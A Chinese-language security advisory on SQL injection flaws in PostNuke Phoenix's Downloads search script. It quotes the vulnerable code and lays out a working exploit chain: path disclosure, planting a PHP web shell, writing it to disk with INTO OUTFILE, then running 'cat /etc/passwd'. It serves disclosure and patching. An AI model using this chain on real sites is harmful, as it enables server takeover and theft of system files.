|
来源:绿盟科技
受影响系统:
PostNuke PostNuke Phoenix 0.760-RC2 PostNuke PostNuke Phoenix 0.750
描述:
PHP-Nuke是一个广为流行的网站创建和管理工具,它可以使用很多数据库软件作为后端,比如MySQL、PostgreSQL、mSQL、Interbase、Sybase等。
PHP-Nuke多个脚本对用户提交的参数缺少充分过滤,远程攻击者可以利用这个漏洞进行SQL注入攻击,可能获得敏感信息或修改数据库。
问题一是modules/Downloads/dl-search.php的search()函数存在SQL注入:
- -51-68--- if ($show!="") { $downloadsresults = $show; } else { $show=$downloadsresults; } //$query = stripslashes($query); $column = &$pntable['downloads_downloads_column']; $sql = "SELECT $column[lid], $column[cid], $column[sid], $column[title], $column[url], $column[description], $column[date], $column[hits], \ $column[downloadratingsummary], $column[totalvotes], $column[totalcomments], $column[filesize], $column[version], $column[homepage] FROM $pntable[downloads_downloads] WHERE $column[title] LIKE \ '%".pnVarPrepForStore($query)."%' OR $column[description] LIKE \ '%".pnVarPrepForStore($query)."%' ORDER BY $pntable[downloads_downloads].$orderby";
$result = $dbconn->SelectLimit($sql, $downloadsresults, (int)$min);
问题存在于$show变量,提交如下URL:
http://[HOST]/[DIR]/index.php?name=Downloads&req=search&query=&show=cXIb8O3
会显示如下错误信息:
- --------------- Fatal error: Call to a member function PO_RecordCount() on a non-object in \ /www/PostNuke-0.760-RC2/html/modules/Downloads/dl-search.php on line \ 74 - ---------------
由于这个SQL注入在ORDER BY之后,不能使用UNION,但检查这个漏洞:
先检查PostNuke路径:
http://[HOST]/[DIR]/index.php?name=Downloads&req=search&query=&show=cXIb8O3
Error message : - --------------- Fatal error: Call to a member function PO_RecordCount() on a non-object in \ /www/PostNuke-0.760-RC2/html/modules/Downloads/dl-search.php on line \ 74 - ---------------
如前缀为/www/PostNuke-0.760-RC2/html/。
现在增加新的downloadinsert到"Description"或"Home page" php代码,如:
- --- <? system($_GET[cx]); ?> - ---
这个这个download存在于db中,进入:
http://[HOST]/[DIR]/index.php?name=Downloads&req=search&query=[Program \ name]&show=10%20INTO%20OUTFILE%20'/[PATH]/pnTemp/Xanthia_cache/cXIb8O3.php'/*
就可以执行如下URL:
http://[HOST]/[DIR]/pnTemp/Xanthia_cache/cXIb8O3.php?cx=cat /etc/passwd
问题二是对$orderby缺少正确过滤,提交如下请求可进行SQL注入攻击:
http://[HOST]/[DIR]/index.php?name=Downloads&req=search&query=&orderby=
<*来源:Maksymilian Arciemowicz (max@jestsuper.pl) 链接:http://marc.theaimsgroup.com/?l=bugtraq&m=110962710805864&w=2
建议:
厂商补丁:
PostNuke -------- 目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
http://www.postnuke.com/

OVER
|